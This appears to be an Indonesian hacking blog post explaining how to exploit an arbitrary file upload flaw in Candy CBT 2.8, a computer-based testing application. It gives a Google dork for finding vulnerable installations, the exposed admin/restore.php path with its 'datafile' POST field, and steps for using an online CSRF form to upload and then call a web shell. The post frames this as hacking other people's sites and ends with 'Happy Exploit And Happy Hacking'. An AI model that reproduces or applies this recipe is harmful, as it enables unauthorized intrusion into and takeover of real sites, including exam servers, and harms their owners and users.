Candy Cbt 2.8 AFU (Arbritrary File Upload) With Csrf

Hallo:v

Langsung Aja Tutornya Kek Gimana...

• >Dork :

© Candy CBT v2.8.0 inurl:login.php

• >Exploit :

admin/restore.php

Postfile : datafile

Jika Bahan Diatas Dah Siap Kita Lakukan Step By Step Di Bawah...

• >Kalian Dorking Dulu Gunakan Dork Yang Ane Siapa Kan Tadi.. 
• >Jika Sudah Dorking Kalian Cari Sitenya Yang Menurut Kalian Vuln Seperti Biasanya Lalu Masukan Exploitnya Seperti Ini

https://candy.com/admin/restore.php

Or

https://candy.com/[patch]/admin/restore.php

• >Jika Vuln Akan Seperti Gambar Di Bawah Gan

• >Nah Terdabat Text : Fatal Error
• >Next Jika Terdabat Text Itu Artinya Vuln Langsung Ke Csrf Online (Kalian Cari Aja Di Google Gan Banyak)
• >Kalian Masukan Sitenya Gan Dan Postfilenya

• >Jika Sudah Kalian Eksekusi Lalu Upload Shell Atau Sc Kalian... 
• >Jika Success Akan Seperti Ini.. 

• >Terdapat Text : Data Berhasil Di Restore
• >Sekarang Kita Panggil Shell Atau Sc Kalian Seperti Ini.. 

https://candy.com/admin/shell-kalian

Or

https://candy.com/[patch]/admin/shell-kalian

• >And Boom

Sekian.. 

Happy Exploit And Happy Hacking.. 

Bagikan Artikel ini